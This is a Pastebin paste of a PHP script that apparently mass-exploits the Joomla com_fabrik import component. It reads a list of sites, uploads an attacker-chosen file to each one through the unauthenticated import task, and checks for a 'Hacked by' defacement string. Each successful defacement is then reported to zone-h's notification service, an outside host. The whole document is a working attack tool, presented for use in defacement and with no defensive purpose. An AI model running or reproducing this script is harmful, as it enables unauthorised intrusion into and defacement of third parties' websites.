Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- *com_fabrik exploiter with submit on zone-h
- *usage : php fabrik.php list.txt
- print"
- __ _ _ _
- / _| | | (_) | ________
- ___ ___ _ __ ___ | |_ __ _| |__ _ __ _| | __ |_ _| ____ exploit
- / __/ _ \| '_ ` _ \ | _/ _` | '_ \| '__| | |/ / ______ | | ||| | / \
- | (_| (_) | | | | | | | || (_| | |_) | | | | < | O | | |__||| | | (_) |
- \___\___/|_| |_| |_| |_| \__,_|_.__/|_| |_|_|\_\ |_____| |_ ___||____| \____/
- ______
- |______|
- ";
- $get2=@file_get_contents($argv[1]);
- $e=explode("\r\n",$get2);
- foreach($e as $site){
- echo "[+]scaning : $site\n";
- $post = array(
- "userfile" => "@d.txt", // this file is ur index .html or .txt
- "name" => "me.php",
- "drop_data" => "1",
- "overwrite" => "1",
- "field_delimiter" => ",",
- "text_delimiter" => """,
- "option" => "com_fabrik",
- "controller" => "import",
- "view" => "import",
- "task" => "doimport",
- "Itemid" => "0",
- "tableid" => "0",
- );
- $ch = curl_init ("$site/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1");
- curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt ($ch, CURLOPT_POST, 1);
- @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
- $data = curl_exec ($ch);
- curl_close ($ch);
- $ud=($site).("/media/d.txt"); // d.txt : rename it to name of ur index example if ur index named lol.html write it like that : /media/lol.html :D
- $get22=@file_get_contents($ud);
- if(eregi("Hacked by Mr.MaGnoM",$get22)){ // Hacked by Mr.MaGnoM : here put some words exist on ur index for cheek file was uploaded or no just 2 words or 3 or 1 example if u put ur name on index put it here
- echo "[-]Exploit : yes";
- echo "\n[-]Defaced : $ud\n";
- $ch3 = curl_init ("http://www.zone-h.com/notify/single");
- curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch3, CURLOPT_POST, 1);
- curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=Mr.MaGnoM&domain1=$ud&hackmode=1&reason=1"); // here put ur name on zone-h
- if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
- echo "[-]Zone-h : Ok "."\n\n";
- }else{
- echo "[-]Zone-h : No"."\n\n"; }
- curl_close ($ch3);
- }else{
- echo "[-]Exploit : no\n\n";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment